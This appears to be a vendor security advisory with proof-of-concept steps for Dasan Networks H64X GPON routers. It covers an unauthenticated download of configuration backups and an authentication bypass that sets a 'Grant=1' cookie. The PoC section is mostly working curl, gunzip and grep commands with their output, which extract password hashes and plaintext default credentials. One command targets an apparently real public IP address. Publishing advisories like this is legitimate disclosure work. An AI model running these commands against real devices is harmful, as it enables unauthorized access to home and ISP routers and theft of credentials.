Dasan Networks GPON ONT WiFi Router H64X Series System Config Download

`  
Dasan Networks GPON ONT WiFi Router H64X Series System Config Download  
  
  
Vendor: Dasan Networks  
Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu  
Affected version: Models: H640GR-02  
H640GV-03  
H640GW-02  
H640RW-02  
H645G  
Firmware: 3.02p2-1141  
2.77p1-1125  
2.77-1115  
2.76-9999  
2.76-1101  
2.67-1070  
2.45-1045  
  
Versions 3.03x are not affected by this issue.   
The running.CFG/wifi.CFG backup files are now 7z password protected.  
  
  
Summary: H64xx is comprised of one G-PON uplink port and four ports  
of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It  
helps service providers to extend their core optical network all the  
way to their subscribers, eliminating bandwidth bottlenecks in the  
last mile. H64xx is integrated device that provide the high quality  
Internet, telephony service (VoIP) and IPTV or OTT content for home  
or office. H64xx enable the subscribers to make a phone call whose  
quality is equal to PSTN at competitive price, and enjoy the high  
quality resolution live video and service such as VoD or High Speed  
Internet.  
  
Desc: The system backup configuration file 'running.CFG' and the wireless  
backup configuration file 'wifi.CFG' can be downloaded by an attacker  
from the root directory in certain circumstances. This will enable the  
attacker to disclose sensitive information and help her in authentication  
bypass, privilege escalation and/or full system access.  
  
Tested on: Server: lighttpd/1.4.31  
Server: DasanNetwork Solution  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2017-5424  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5424.php  
  
  
19.05.2017  
  
--  
  
  
-------------------  
#1 This PoC request is assuming that the admin or a user created a backup. This is done by first issuing a request  
to: /cgi-bin/backuprecoversystembackup_action.cgi or /cgi-bin/backuprecoverwifibackup_action.cgi scripts that  
instructs the web server to generate the running.CFG or wifi.CFG gziped files respectively.  
  
  
curl http://192.168.0.1/running.CFG -# | gunzip > dasan_output.txt ; strings dasan_output.txt | grep -rn 'admin:'  
######################################################################## 100.0%  
(standard input):180:admin:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:admin:/etc:/bin/sh  
(standard input):1442:admin:admin123:2  
  
bash-4.4$ curl http://192.168.0.1/running.CFG -# | gunzip > dasan_output.txt ; strings dasan_output.txt | grep -rn 'root:'  
######################################################################## 100.0%  
(standard input):181:root:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:root:/etc:/bin/sh  
(standard input):191:root:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:14987:0:99999:7:::  
bash-4.4$   
  
Notice the same hard-coded shell credentials for admin and root user.  
Left for the viewer to exercise 'cracking the perimeter'. ;]  
  
-------------------  
#2 This PoC request will do an authentication bypass using the Grant cookie to create the running.CFG file.  
In this request we're using Grant=1 with the account 'user' which by default has the password: user. After that,  
decompressing the file, navigating to 'etc' extracted directory and reading 'web_user' file which can then  
escalate privileges by reading the admin password and loggin-in.  
  
  
bash-4.4$ curl http://192.168.0.1/cgi-bin/backuprecoversystembackup_action.cgi --cookie "silverheader=0c; Grant=1; Language=english" -H "X-Requested-With: XMLHttpRequest" ; sleep 5  
bash-4.4$ curl http://192.168.0.1/running.CFG -vv --cookie "silverheader=0c; Grant=1; Language=english" -O  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 192.168.0.1...  
* TCP_NODELAY set  
* Connected to 192.168.0.1 (192.168.0.1) port 80 (#0)  
> GET /running.CFG HTTP/1.1  
> Host: 192.168.0.1  
> User-Agent: curl/7.51.0  
> Accept: */*  
> Cookie: silverheader=0c; Grant=1; Language=english  
>   
< HTTP/1.1 200 OK  
< Content-Type: application/octet-stream  
< Accept-Ranges: bytes  
< ETag: "2477069903"  
< Last-Modified: Wed, 12 Jul 2017 19:14:18 GMT  
< Content-Length: 10467  
< Date: Thu, 13 Jul 2017 00:56:14 GMT  
< Server: lighttpd/1.4.31  
<   
{ [1208 bytes data]  
53 10467 53 5528 0 0 5974 0 0:00:01 --:--:-- 0:00:01 5969* Curl_http_done: called premature == 0  
100 10467 100 10467 0 0 11290 0 --:--:-- --:--:-- --:--:-- 11279  
* Connection #0 to host 192.168.0.1 left intact  
bash-4.4$ file running.CFG  
running.CFG: gzip compressed data, last modified: Wed Jul 12 19:12:36 2017, max compression, from Unix  
bash-4.4$ gunzip -v -d --suffix .CFG running.CFG ; tar -xf running ; cd etc ; cat web_user   
running.CFG: 85.6% -- replaced with running  
admin:admin123:2  
user:user:1  
bash-4.4$   
  
Or just:  
  
bash-4.4$ curl -O http://180.148.2.139/running.CFG  
bash-4.4$ tar -zxf running.CFG  
bash-4.4$ cd etc  
bash-4.4$ ls  
INPUT_FILTER.conf fire_wall.conf lan_static_ip.conf ntp.conf radvd_param.conf upnpigd.conf  
INPUT_REMOTE_ACCESS.conf fire_wall.sh lighttpd.conf other_security_status.sh remote_mgmt.conf user_ipv6tables.conf  
dasan_output.txt hostname localtime passwd routing_entry.conf user_wan_cfg.conf  
dhcp_client_dns.sh inet_check_file mac_filter.conf port_forward.conf shadow wan_ppp_mode.conf  
dhcp_client_dynamic_default_dns.conf ipupdate.conf mac_source_match.conf port_forward.sh snmp web-enable  
dhcpv6d.conf ipv6_route.conf multi_language.conf port_forward_dnat.sh snmp_status.conf web_user  
dhcpv6d_param.conf is_safe_nat_option nat_route.conf port_forward_gre.sh sys_login_max_num webrefreshtime.conf  
dmz.conf lan_dhcp_model.sh net_rest.conf ppp syslog.confx websesstime.conf  
ds_mode_config lan_dhcp_server_static_ip.conf ns_ftp.conf radvd.conf udhcpd.conf  
bash-4.4$ cat web_user  
admin:admin123:2  
user:user:1  
bash-4.4$ cat ./.config/ds_user_pw  
admin  
bash-4.4$ cat passwd  
admin:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:admin:/etc:/bin/sh  
root:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:root:/etc:/bin/sh  
`